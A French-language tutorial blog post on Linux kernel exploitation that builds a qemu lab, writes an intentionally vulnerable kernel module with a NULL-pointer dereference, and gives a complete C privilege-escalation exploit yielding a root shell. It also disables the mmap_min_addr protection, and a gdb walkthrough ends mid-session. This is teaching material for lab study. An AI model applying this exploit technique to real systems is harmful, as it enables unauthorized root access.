Ce billet a pour but de présenter l'exploitation du kernel par l'exemple. Ce premier billet vous présentera l'exploitation du kernel au travers d'une faille de type déréférencement de pointeur. Encore une fois le but ici est de détailler au maximum les différentes étapes allant de la conception d'un mini linux ainsi que de la création d'un module kernel faillible et de son exploitation.

Pour information le kernel est le noyau du système d'exploitation, il va permettre le dialogue entre la partie materielle et logicielle. Pour plus de précisions concernant le noyau je vous renvoie vers wikipedia. Il faut savoir que les failles au niveau kernel ne s'exploitent pas de la même manière que celles que l'on trouve niveau utilisateur, vous découvrirez ici une des manières pour exploiter le kernel.

1ère étape - Création d'un mini linux

Avant de pouvoir passer à l'exploitation, on va commencer par créer une machine virtuelle avec un linux allégé. Pour cela on va télécharger un kernel sur kernel.org et le compiler. Le but etant de récuperer le fichier bzImage qui est le kernel compilé et compressé.

Le bzImage est composé de la manière suivante :

Anatomy-of-bzimage.png

Les opérations se font sous un shell linux (si vous souhaitez compiler votre mini linux en 64 bits, il faut de préférence être sur un linux 64 bits, sinon certaines options non décrites dans cet article seront nécessaires) :

root@kali:~/Null_deref# wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.11.tar.gz
--2014-01-19 20:08:09--  https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.11.tar.gz
Résolution de www.kernel.org (www.kernel.org)... 149.20.4.69
Connexion vers www.kernel.org (www.kernel.org)|149.20.4.69|:443...connecté.
requête HTTP transmise, en attente de la réponse...200 OK
Longueur: 113151474 (108M) [application/x-gzip]
Sauvegarde en : «linux-3.11.tar.gz»
 
100%[===========================================================>] 113 151 474  483K/s   ds 3m 50s  
 
2014-01-19 20:12:00 (481 KB/s) - «linux-3.11.tar.gz» sauvegardé [113151474/113151474]
 
root@kali:~/Null_deref# tar zxvf linux-3.11.tar.gz 
root@kali:~/Null_deref# cd linux-3.11/
root@kali:~/Null_deref/linux-3.11# make menuconfig

Le make menuconfig permet de paramétrer notre kernel, par exemple le type de processeur 64 ou 32 bits, le type de système de fichier supporté etc. Personnellement j'ai tout laissé par défaut. J'ai tout simplement cliqué sur Exit. Le menuconfig va créer le fichier .config répertoriant l'ensemble des options de votre kernel nécessaire à la compilation.

make_menuconfig.png

root@kali:~/Null_deref/linux-3.11# make -j2 bzImage (-j2 permettra d'accélerer la compilation si vous avez plusieurs coeurs)
... (Après quelques minutes/heures)
  CC      arch/x86/boot/memory.o
  CC      arch/x86/boot/pm.o
  AS      arch/x86/boot/pmjump.o
  CC      arch/x86/boot/printf.o
  CC      arch/x86/boot/regs.o
  CC      arch/x86/boot/string.o
  CC      arch/x86/boot/tty.o
  CC      arch/x86/boot/video.o
  CC      arch/x86/boot/video-mode.o
  CC      arch/x86/boot/version.o
  CC      arch/x86/boot/video-vga.o
  CC      arch/x86/boot/video-vesa.o
  CC      arch/x86/boot/video-bios.o
  LD      arch/x86/boot/setup.elf
  OBJCOPY arch/x86/boot/setup.bin
  OBJCOPY arch/x86/boot/vmlinux.bin
  HOSTCC  arch/x86/boot/tools/build
  BUILD   arch/x86/boot/bzImage
Setup is 17100 bytes (padded to 17408 bytes).
System is 2352 kB
CRC eab091a2
Kernel: arch/x86/boot/bzImage is ready  (#1)

Voila nous avons maintenant notre kernel compilé et prêt à l'emploi dans le dossier arch/x86/boot/bzImage. Maintenant que nous avons notre kernel, il va tout de même nous falloir un systeme de fichier virtuel initial (initramfs) qui permet de finaliser le lancement de linux. Il faut savoir que dès lors que le noyau Linux a le contrôle sur le système, il prépare ses structures mémoire et ses pilotes comme il le peut, il passe ensuite le contrôle à une application (en général init) dont la tâche est de compléter la préparation du système. Ce fichier initramfs comprendra les programmes de bases pour pouvoir utiliser l'OS (sh, ls, cat, id etc). Pour de plus amples renseignements concernant l'initramfs, je vous invite à lire cette page du wiki gentoo.

On va donc reconstruire un système de fichier avec les binaires qui vont bien. Pour cela on va utiliser busybox. Cet outil va nous permettre de manière simple d'obtenir un système de fichier linux allégé prêt à l'emploi.

root@kali:~/Null_deref# wget http://www.busybox.net/downloads/busybox-1.22.0.tar.bz2
--2014-01-19 20:50:03--  http://www.busybox.net/downloads/busybox-1.22.0.tar.bz2
Résolution de www.busybox.net (www.busybox.net)... 140.211.167.224
Connexion vers www.busybox.net (www.busybox.net)|140.211.167.224|:80...connecté.
requête HTTP transmise, en attente de la réponse...200 OK
Longueur: 2218120 (2,1M) [application/x-bzip2]
Sauvegarde en : «busybox-1.22.0.tar.bz2»
 
100%[===========================================================>] 2 218 120    438K/s   ds 5,6s    
 
2014-01-19 20:50:11 (385 KB/s) - «busybox-1.22.0.tar.bz2» sauvegardé [2218120/2218120]
 
root@kali:~/Null_deref# tar jxvf busybox-1.22.0.tar.bz2
root@kali:~/Null_deref# cd busybox-1.22.0

On se place dans le dossier busybox et on va compiler le tout. Attention penser à compiler en statique pour éviter de dépendre d'autres librairies qui ne seront pas présentes sur notre linux allégé. Pour cela lancer la commande suivante :

root@kali:~/Null_deref/busybox-1.22.0# make CFLAGS=-static install 
  ./_install//bin/ash -> busybox
  ./_install//bin/base64 -> busybox
  ./_install//bin/cat -> busybox
  ./_install//bin/catv -> busybox
....
  ./_install//usr/sbin/ubirmvol -> ../../bin/busybox
  ./_install//usr/sbin/ubirsvol -> ../../bin/busybox
  ./_install//usr/sbin/ubiupdatevol -> ../../bin/busybox
  ./_install//usr/sbin/udhcpd -> ../../bin/busybox
 
 
--------------------------------------------------
You will probably need to make your busybox binary
setuid root to ensure all configured applets will
work properly.
--------------------------------------------------

Voila on peut maintenant aller dans le dossier _install et on retrouve notre système de fichier prêt à l'emploi :

root@kali:~/Null_deref/busybox-1.22.0/_install# ls
bin  dev  etc  linuxrc  proc  sbin  sys  usr

Pret à l'emploi, enfin presque il manque plus que quelques petites choses :

  1. création du dossiers /proc
  2. création du fichier /etc/passwd pour déclarer nos utilisateurs
  3. création de leur homedirectory
  4. création du fichier init

On déclare donc deux utilisateurs dans le fichier passwd : root et user et ils auront pour dossier de travail les dossiers respectifs suivants : /root et /home/user qu'il faudra également créer.

root@kali:~/Null_deref/initramfs# cat etc/passwd 
root:x:0:0:root:/root:/bin/sh
user:x:1000:1000:user:/home/user:/bin/sh

La création du fichier init est également obligatoire, c'est ce fichier qui sera lancé au démarrage de la machine après le kernel.

root@kali:~/Null_deref/initramfs# cat init 
#!/bin/sh
# on crée les fichier null et ttyS0
mknod -m 0666 /dev/null c 1 3
mknod -m 0660 /dev/ttyS0 c 4 64
 
# on monte les partitions proc et sys
mount -t proc proc /proc
mount -t sysfs sysfs /sys
 
# on définit comme utilisateur par défaut user(1000) et on lance le shell
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
 
poweroff -f

Voila notre système de fichier est prêt. On va maintenant créer notre fichier initramfs.

root@kali:~/Null_deref/initramfs# find . |cpio -H newc -o | gzip > ../initramfs.img

Pour information, il faut savoir qu'il est également possible de faire l'opération inverse, c'est à dire extraire les dossiers d'un fichier initramfs via cette commande :

root@kali:~/Null_deref/initramfs# gzip -dcS .img initramfs.img | cpio -id

Nous avons donc maintenant tout ce qu'il nous faut pour lancer notre linux allégé avec qemu. Pour éviter de retaper la longue ligne de commande permettant d'appeler qemu avec les différents paramètres adequats, on va créer un petit script qui fera ça pour nous :

root@kali:~/Null_deref# cat run.sh 
#!/bin/bash
 
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1' \
    -monitor /dev/null \
    -initrd initramfs.img

Et voila ce que cela donne :

qemu_kernel_new.png.png

2ème étape - Création de notre module kernel faillible

La 2ème étape va être d'écrire un module kernel faillible, je ne me permettrai pas d'écrire sur l'etat de l'art concernant l'écriture de module kernel Pour cela je vous conseille plutôt ces excellents articles

Notre module va créer un périphérique linux disponible dans /dev vers lequel nous pourrons écrire des données. Ce périphérique acceptera deux commandes : init et show permettant respectivement d'aller initialiser et appeler le pointeur sur fonction d'une structure. La structure en question vuln_struct_s est déclarée de la manière suivante :

struct vuln_struct_s {
  void (*show)(void);
};

Et le bout de programme faillible :

if (!strcmp(msg, "init")){
  if (!vuln_struct) {
    vuln_struct = kmalloc(sizeof(struct vuln_struct_s), GFP_KERNEL);
    vuln_struct->show = func_show;
    printk("init OK\n");
  }
}
else if (!strcmp(msg, "show")){
  printk("show option\n");
  vuln_struct->show();
}

Si l'utilisateur envoie la commande init, le pointeur de la structure sera initialisé et si l'on appelle show il appellera la fonction pointée par la structure. Si l'on réflechit on voit rapidement le souci, si l'on appelle directement la fonction show sans passer par init le pointeur de la structure ne sera pas initialisé et pointera donc vers NULL (0x0000000000000000).

Les sources du module :

#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h> 
 
static dev_t first; // Global variable for the first device number
static struct cdev c_dev; // Global variable for the character device structure
static struct class *cl; // Global variable for the device class
 
struct vuln_struct_s {
  void (*show)(void);
};
 
static struct vuln_struct_s *vuln_struct;
 
static int my_open(struct inode *i, struct file *f)
{
  printk(KERN_INFO "Driver: open()\n");
  return 0;
}
 
static int my_close(struct inode *i, struct file *f)
{
  printk(KERN_INFO "Driver: close()\n");
  return 0;
}
 
static ssize_t my_read(struct file *f, char __user *buf, size_t len, loff_t *off)
{
  printk(KERN_INFO "Driver: read()\n");
  return 0;
}
 
static void func_show(void)
{
  printk("Func show\n");
}
 
static ssize_t my_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
{
  char *msg;
 
  printk(KERN_INFO "Driver: write()\n");
 
  msg = kmalloc(len + 1, GFP_DMA);
 
  if (msg){
 
    if (copy_from_user(msg, buf, len))
        return -EFAULT;
 
    msg[len] = '\0';
 
    if (!strcmp(msg, "init")){
      if (!vuln_struct) {
        vuln_struct = kmalloc(sizeof(struct vuln_struct_s), GFP_KERNEL);
        vuln_struct->show = func_show;
        printk("init OK\n");
      }
    }
    else if (!strcmp(msg, "show")){
      printk("show option\n");
      vuln_struct->show();
    }
  }
  kfree(msg);
  return len;
 
}
 
static struct file_operations pugs_fops =
{
  .owner = THIS_MODULE,
  .open = my_open,
  .release = my_close,
  .read = my_read,
  .write = my_write
};
 
static int __init vuln_init(void) /* Constructor */
{
  printk(KERN_INFO "Vuln registered");
  if (alloc_chrdev_region(&first, 0, 1, "vuln") < 0)
  {
    return -1;
  }
  if ((cl = class_create(THIS_MODULE, "chardrv")) == NULL)
  {
    unregister_chrdev_region(first, 1);
    return -1;
  }
  if (device_create(cl, NULL, first, NULL, "vuln") == NULL)
  {
    printk(KERN_INFO "Vuln error");
    class_destroy(cl);
    unregister_chrdev_region(first, 1);
    return -1;
  }
  cdev_init(&c_dev, &pugs_fops);
  if (cdev_add(&c_dev, first, 1) == -1)
  {
    device_destroy(cl, first);
    class_destroy(cl);
    unregister_chrdev_region(first, 1);
    return -1;
  }
 
  printk(KERN_INFO "<Major, Minor>: <%d, %d>\n", MAJOR(first), MINOR(first));
  return 0;
}
 
static void __exit vuln_exit(void) /* Destructor */
{
    unregister_chrdev_region(first, 3);
    printk(KERN_INFO "Vuln unregistered");
}
 
module_init(vuln_init);
module_exit(vuln_exit);
 
MODULE_LICENSE("GPL");
MODULE_AUTHOR("UfoX");
MODULE_DESCRIPTION("Vuln Kernel Module");

Pour le compiler, j'ai créé un Makefile des plus simples :

root@kali:~/Null_deref# cat Makefile 
obj-m+= vuln.o
# CFLAGS_vuln.o:= -fno-stack-protector -ggdb
all: 
	make -C /root/Null_deref/linux-3.11 M=$(PWD)
 
root@kali:~/Null_deref# make
make -C /root/Null_deref/linux-3.11 M=/root/Null_deref
make[1]: entrant dans le répertoire « /root/Null_deref/linux-3.11 »
  Building modules, stage 2.
  MODPOST 1 modules
  LD [M]  /root/Null_deref/vuln.ko
make[1]: quittant le répertoire « /root/Null_deref/linux-3.11 »

Maintenant que nous avons notre module compilé il va falloir l'ajouter à notre OS, Pour cela on va recopier le fichier vuln.ko à notre système de fichier virtuel et modifier le fichier init. Lors du chargement de celui-ci, il s'occupera d'installer notre module et de créer le fichier /dev/vuln correspondant à notre périphérique.

En tant que root, voici les commandes à connaître pour manipuler les modules kernel :

  • insmod : Charge le module
  • lsmod : Liste les modules chargés
  • rmmod : Décharge un module
root@kali:~/Null_deref# cp vuln.ko initramfs/usr/
root@kali:~/Null_deref# cd initramfs/
root@kali:~/Null_deref/initramfs# ls
bin  dev  etc  home  init  linuxrc  proc  root  sbin  sys  usr
root@kali:~/Null_deref/initramfs# vim init 
#!/bin/sh
mknod -m 0666 /dev/null c 1 3
mknod -m 0660 /dev/ttyS0 c 4 64
 
mount -t proc proc /proc
mount -t sysfs sysfs /sys
 
# On ajoute ces 3 lignes :
insmod /usr/vuln.ko
mknod /dev/vuln c 251 0
chmod a+rw /dev/vuln
 
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
 
poweroff -f
root@kali:~/Null_deref/initramfs# find . |cpio -H newc -o | gzip > ../initramfs.img
5436 blocs

On relance notre machine virtuelle pour tester notre module : qemu_module.png

Et on retrouve bien dans le dmesg, les différents printk du module kernel lors de l'appel aux différentes fonctions du module.

qemu_module_dmesg.png

Comme je le disais au-dessus, si l'on relance la machine et que l'on appelle la fonction "show" sans passer par "init", le pointeur de notre structure ne sera pas initialisé et pointera donc vers NULL, la zone mémoire n'etant pas initialisée, le kernel va générer une erreur (kernel panic)

On teste tout ça dans notre machine virtuelle : kernel_panic.png

Il ne reste plus qu'à exploiter.

3ème étape - L'exploitation

Avant de parler exploitation pure, chose importante à savoir, l'espace mémoire accessible depuis l'espace utilisateur n'est pas le même que celui accessible depuis l'espace noyau. Le but de l'exploitation noyau est de faire rediriger le programme Kernel vers l'espace mémoire utilisateur que nous pouvons contrôler. Comme souvent dans les exploitations de binaire notre but va être de lancer un shell mais pour cela il faut être root. Comment faire vous allez me dire, rien de plus simple il suffit d’exécuter le code kernel suivant : commit_creds(prepare_kernel_cred (0)); où les fonctions xxx_creds sont des fonctions exportées du noyau.

Pour pouvoir appeler ces fonctions, il va nous falloir leur adresse, pour cela il faut savoir que le kernel stocke l'ensemble des adresses de fonctions dans le fichier /proc/kallsyms.

On peut vérifier cela dans notre machine virtuelle :

kallsyms.png

Nous avons maintenant tout ce qu'il nous faut pour écrire notre exploit. Les différentes étapes sont :

  1. mapper la mémoire à l'adresse 0x0000000000000000
  2. récupérer les adresses des fonctions de notre Kernel pour passer root
  3. Définir un pointeur vers l'appel de notre commande commit_creds(prepare_kernel_cred (0)) à l'adresse 0x0000000000000000
  4. Envoyer à notre module la commande show pour déclencher la faille
  5. Lancer notre shell en tant que root

L'exploitation finale :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
#include <time.h>
#include <sys/ioctl.h>
 
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
 
 
struct cred;
struct task_struct;
 
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
 
prepare_kernel_cred_t   prepare_kernel_cred;
commit_creds_t    commit_creds;
 
void get_shell() {
  char *argv[] = {"/bin/sh", NULL};
 
  if (getuid() == 0){
    printf("[+] Root shell success !! :)\n");
    execve("/bin/sh", argv, NULL);
  }
  printf("[-] failed to get root shell :(\n");
}
 
void get_root() {
  if (commit_creds && prepare_kernel_cred)
    commit_creds(prepare_kernel_cred(0));
}
 
unsigned long get_kernel_sym(char *name)
{
  FILE *f;
  unsigned long addr;
  char dummy;
  char sname[256];
  int ret = 0;
 
  f = fopen("/proc/kallsyms", "r");
  if (f == NULL) {
    printf("[-] Failed to open /proc/kallsyms\n");
    exit(-1);
  }
  printf("[+] Find %s...\n", name);
  while(ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    if (ret == 0) {
      fscanf(f, "%s\n", sname);
      continue;
    }
    if (!strcmp(name, sname)) {
      fclose(f);
      printf("[+] Found %s at %lx\n", name, addr);
      return addr;
    }
  }
  fclose(f);
  return 0;
}
 
int main()
{
  int fd;
  struct timespec time_info;
 
  if ((fd = open("/dev/vuln", O_RDWR)) < 0) {
    printf("Can't open device file: /dev/vuln\n");
    exit(1);
  }
 
  // 1 - Mapper la mémoire à l'adresse 0x0000000000000000
  printf("[+] Try to allocat 0x00000000...\n");
  if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
    printf("[-] Failed to allocat 0x00000000\n");
    return -1;
  }
  printf("[+] Allocation success !\n");
 
  // 2 - Appel de la fonction get_kernel_sym pour récuperer dans le /proc/kallsyms les adresses des fonctions
  prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
  commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
 
  // 3 - On définit un pointeur vers l'appel de notre fonction à l'adresse 0x0000000000000000
  printf("[+] Set pointer to get root cred\n");
  *(unsigned long *)0x0000000000000000 = (unsigned long)get_root;
 
  // 4 - Déclenchement de la vulnérabilité en appelant notre device avec la commande show
  printf("[+] Trig vuln...\n");
  write(fd, "show", 4);
 
  close(fd);
 
  // 5 - On a plus qu'à lancer notre shell => /bin/sh
  printf("[+] Try to get shell\n");
  get_shell();
 
  return -1;
}

Avant de pouvoir la tester sur notre mini linux, nous allons devoir modifier notre kernel. il faut savoir que depuis le kernel 2.6.23 une protection interdit à un processus n'étant pas root de mapper une adresse inférieure à une constante qui est définie dans /proc/sys/vm/mmap_min_addr. On va donc modifier cette valeur pour que l'exploitation puisse fonctionner, on va ajouter cela dans notre fichier init : echo 0 > /proc/sys/vm/mmap_min_addr

On compile notre exploit (on n'oublie pas de le compiler en statique pour éviter les dépendances d'autres librairies), on le recopie dans notre système de fichier, on recrée notre initramfs et on teste :

root@kali:~/Null_deref# gcc exploit.c -o exploit -static
root@kali:~/Null_deref# cp exploit initramfs
root@kali:~/Null_deref# cd initramfs/
root@kali:~/Null_deref/initramfs# find . |cpio -H newc -o | gzip > ../initramfs.img
6979 blocs
root@kali:~/Null_deref/initramfs# cd ..
root@kali:~/Null_deref# ./run.sh 
QEMU 1.1.2 monitor - type 'help' for more information
(qemu) QEMU 1.1.2 monitor - type 'help' for more information
(qemu) 
/ $ id
uid=1000(user) gid=1000 groups=1000
/ $ ./exploit 
[+] Try to allocat 0x00000000...
[+] Allocation success !
[+] Find prepare_kernel_cred...
[+] Found prepare_kernel_cred at ffffffff81053e81
[+] Find commit_creds...
[+] Found commit_creds at ffffffff81053c6e
[+] Set pointer for get root cred
[+] Trig vuln...
[+] Try to get shell
[+] Root shell success !! :)
/ # id
uid=0(root) gid=0
/ #

Et voila comment devenir root. J'aurais pu m'arrêter là sur la rédaction de cet article mais personnellement j'aime bien aller au fond des choses et pour cela on va debugguer l'exploit pour comprendre pas à pas son fonctionnement.

Il faut savoir que sous qemu il est possible de faire du debugguage à distance avec gdb. On va simplement ajouter à notre fichier de lancement run.sh les options -s -S : -s permettant la création d'un stub vers gdb -S gèle la machine le temps que gdb s'attache à lui

#!/bin/bash
 
qemu-system-x86_64 \
    -kernel bzImage \
    -nographic \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1' \
    -initrd initramfs.img \
    -s -S

On relance alors notre machine qemu et on voit qu'il ne se passe rien. En fait notre machine qemu attend que gdb s'attache à lui. Dans une autre fenêtre on va donc lancer gdb et exécuter la commande suivante target remote IP_de_sa_machine:1234

Attention à la configuration de gdb, je n'ai par exemple pas réussi à faire du remote debugging avec peda. Avec gdbinit cela fonctionne mais il faut penser à bien définir le type d'architecture sur laquelle on se connecte.

root@kali:~/Null_deref# gdb
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
64-bit mode is default. Use the 32bits command if your target is 32 bits.
Edit the $64BITS variable in your .gdbinit file to switch to default 32-bit mode.
gdb$ set architecture i386:x86-64
The target architecture is assumed to be i386:x86-64
gdb$ target remote 192.168.1.20:1234
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0xFFFFFFFF81601FD8  RBP: 0xFFFFFFFF81601FD8  RSP: 0xFFFFFFFF81601F68  o d I t s Z a P c 
  RDI: 0xFFFF880007C0DAFC  RSI: 0x0000000000000000  RDX: 0x00000000FFFFFFFF  RCX: 0x00000000FFFFFFFF  RIP: 0xFFFFFFFF8100890D
  R8 : 0x0000000000000000  R9 : 0x0000000000000001  R10: 0x0000000000000001  R11: 0x0000000000000000  R12: 0xFFFFFFFF817392D0
  R13: 0xFFFF880007FF8940  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0xffffffff8100890d:	mov    eax,DWORD PTR [rip+0x682a45]        # 0xffffffff8168b358
   0xffffffff81008913:	mov    esi,DWORD PTR gs:0xb0c4
   0xffffffff8100891b:	test   eax,eax
   0xffffffff8100891d:	je     0xffffffff81008933
   0xffffffff8100891f:	jmp    0xffffffff8100892d
   0xffffffff81008921:	mov    edi,0x1
   0xffffffff81008926:	call   0xffffffff810088c0
   0xffffffff8100892b:	jmp    0xffffffff8100890b
-----------------------------------------------------------------------------------------------------------------------------
0xffffffff8100890d in ?? ()
gdb$

Gdb s'attache bien à notre machine qemu, on peut donc dorénavant debug au niveau du kernel. On va placer un breakpoint au niveau de l'appel de la fonction my_write que nous avons récuperée précédement au travers du /proc/kallsyms :

gdb$ b * ffffffffa0000048
Breakpoint 1 at 0xffffffffa0000048
gdb$ c

On vérifie en écrivant sur notre péripherique que gdb s'arrête bien sur notre fonction :

$ echo -n "show" > /dev/vuln

Le programme ne nous rend pas la main et on voit que gdb s'arrête bien sur notre breakpoint posé précédemment :

-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0xFFFFFFFFA0000048  RBX: 0x0000000000000004  RBP: 0xFFFF880007AAC880  RSP: 0xFFFF880006871EF0  o d I t S z a P c 
  RDI: 0xFFFF880007AAC880  RSI: 0x00000000015C1340  RDX: 0x0000000000000004  RCX: 0xFFFF880006871F50  RIP: 0xFFFFFFFFA0000048
  R8 : 0xFEFEFEFEFEFEFEFF  R9 : 0xFEFF86FF766E6772  R10: 0x0000000000000000  R11: 0x0000000000000246  R12: 0x00000000015C1340
  R13: 0xFFFF880006871F50  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0063  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0xffffffffa0000048:	push   r12
   0xffffffffa000004a:	mov    rdi,0xffffffffa0001066
   0xffffffffa0000051:	xor    eax,eax
   0xffffffffa0000053:	mov    r12,rsi
   0xffffffffa0000056:	push   rbp
   0xffffffffa0000057:	mov    rbp,rdx
   0xffffffffa000005a:	push   rbx
   0xffffffffa000005b:	call   0xffffffff81370a1d
-----------------------------------------------------------------------------------------------------------------------------
 
Breakpoint 1, 0xffffffffa0000048 in ?? ()
 
gdb$ x/30i $rip
   0xffffffffa0000048:	push   r12
   0xffffffffa000004a:	mov    rdi,0xffffffffa0001066
   0xffffffffa0000051:	xor    eax,eax
   0xffffffffa0000053:	mov    r12,rsi
   0xffffffffa0000056:	push   rbp
   0xffffffffa0000057:	mov    rbp,rdx
   0xffffffffa000005a:	push   rbx
   0xffffffffa000005b:	call   0xffffffff81370a1d                                 // printk
   0xffffffffa0000060:	lea    rdi,[rbp+0x1]
   0xffffffffa0000064:	mov    esi,0x1
   0xffffffffa0000069:	call   0xffffffff810f8e9b                                  // __kmalloc
   0xffffffffa000006e:	test   rax,rax
   0xffffffffa0000071:	mov    rbx,rax
   0xffffffffa0000074:	je     0xffffffffa000010d
   0xffffffffa000007a:	mov    edx,ebp
   0xffffffffa000007c:	mov    rsi,r12
   0xffffffffa000007f:	mov    rdi,rax
   0xffffffffa0000082:	call   0xffffffff811cab70                                // _copy_from_user
   0xffffffffa0000087:	test   rax,rax
   0xffffffffa000008a:	jne    0xffffffffa000011a
   0xffffffffa0000090:	mov    BYTE PTR [rbx+rbp*1],0x0
   0xffffffffa0000094:	mov    rsi,0xffffffffa0001079
   0xffffffffa000009b:	mov    rdi,rbx
   0xffffffffa000009e:	call   0xffffffff811c7b99                               // strcmp
   0xffffffffa00000a3:	test   eax,eax
   0xffffffffa00000a5:	jne    0xffffffffa00000e5
   0xffffffffa00000a7:	cmp    QWORD PTR [rip+0x22f9],0x0        # 0xffffffffa00023a8
   0xffffffffa00000af:	jne    0xffffffffa000010d
   0xffffffffa00000b1:	mov    rdi,QWORD PTR [rip+0xffffffffe1826800]        # 0xffffffff818268b8
   0xffffffffa00000b8:	mov    edx,0x8
gdb$ c

On reconnaît bien les opérations de notre module kernel et l'on voit notre code vulnérable :

0xffffffffa0000104:	mov    rax,QWORD PTR [rip+0x229d]        # 0xffffffffa00023a8
   0xffffffffa000010b:	call   QWORD PTR [rax]

Il va récuperer le pointeur de notre structure et il fait un call vers celui-ci. le pointeur n'étant pas initialisé, le kernel va générer une erreur. (kernel panic)

gdb$  b * 0xffffffffa000010b
Breakpoint 3 at 0xffffffffa000010b
gdb$ c
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0xFFFF8800000983E0  RBP: 0x0000000000000004  RSP: 0xFFFF880006871ED8  o d I t S z A p c 
  RDI: 0xFFFFFFFF817B9264  RSI: 0x0000000000000046  RDX: 0x0000000000000801  RCX: 0x0000000003380338  RIP: 0xFFFFFFFFA000010B
  R8 : 0x0000000000000002  R9 : 0x0000000000000000  R10: 0x0000000000000000  R11: 0xFFFF880007FFA000  R12: 0x00000000015C1340
  R13: 0xFFFF880006871F50  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0063  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0xffffffffa000010b:	call   QWORD PTR [rax]
   0xffffffffa000010d:	mov    rdi,rbx
   0xffffffffa0000110:	call   0xffffffff810f7c3e
   0xffffffffa0000115:	mov    rax,rbp
   0xffffffffa0000118:	jmp    0xffffffffa0000121
   0xffffffffa000011a:	mov    rax,0xfffffffffffffff2
   0xffffffffa0000121:	pop    rbx
   0xffffffffa0000122:	pop    rbp
-----------------------------------------------------------------------------------------------------------------------------
 
Breakpoint 3, 0xffffffffa000010b in ?? ()
gdb$ x/x $rax
0x0:	Cannot access memory at address 0x0

On conserve nos breakpoints mais au lieu d'aller écrire sur notre périphérique on va lancer notre exploit :

/ $ ./exploit 
[+] Try to allocat 0x00000000...
[+] Allocation success !
[+] Find prepare_kernel_cred...
[+] Found prepare_kernel_cred at ffffffff81053e81
[+] Find commit_creds...
[+] Found commit_creds at ffffffff81053c6e
[+] Set pointer for get root cred
[+] Trig vuln...

Le programme s'arrête juste après le "Trig vuln" et gdb s'arrête sur le breakpoint 1 lors de l'appel à vuln_write. On continue pour regarder ce qu'il se passe lors du call qword rax :

gdb$ c
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0xFFFFFFFFA0000048  RBX: 0x0000000000000004  RBP: 0xFFFF880007AAC080  RSP: 0xFFFF88000685FEF0  o d I t S z a P c 
  RDI: 0xFFFF880007AAC080  RSI: 0x0000000000482D8B  RDX: 0x0000000000000004  RCX: 0xFFFF88000685FF50  RIP: 0xFFFFFFFFA0000048
  R8 : 0x00007FC9F27AE010  R9 : 0x0000000001AE8860  R10: 0x65726320746F6F72  R11: 0x0000000000000246  R12: 0x0000000000482D8B
  R13: 0xFFFF88000685FF50  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0063  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0xffffffffa0000048:	push   r12
   0xffffffffa000004a:	mov    rdi,0xffffffffa0001066
   0xffffffffa0000051:	xor    eax,eax
   0xffffffffa0000053:	mov    r12,rsi
   0xffffffffa0000056:	push   rbp
   0xffffffffa0000057:	mov    rbp,rdx
   0xffffffffa000005a:	push   rbx
   0xffffffffa000005b:	call   0xffffffff81370a1d
-----------------------------------------------------------------------------------------------------------------------------
 
Breakpoint 1, 0xffffffffa0000048 in ?? ()
gdb$ c
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0xFFFF8800000983E0  RBP: 0x0000000000000004  RSP: 0xFFFF88000685FED8  o d I t S z A p c 
  RDI: 0xFFFFFFFF817B9264  RSI: 0x0000000000000046  RDX: 0x0000000000000801  RCX: 0x0000000003380338  RIP: 0xFFFFFFFFA000010B
  R8 : 0x0000000000000002  R9 : 0x0000000000000000  R10: 0x0000000000000000  R11: 0xFFFF880007FFA000  R12: 0x0000000000482D8B
  R13: 0xFFFF88000685FF50  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0063  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0xffffffffa000010b:	call   QWORD PTR [rax]
   0xffffffffa000010d:	mov    rdi,rbx
   0xffffffffa0000110:	call   0xffffffff810f7c3e
   0xffffffffa0000115:	mov    rax,rbp
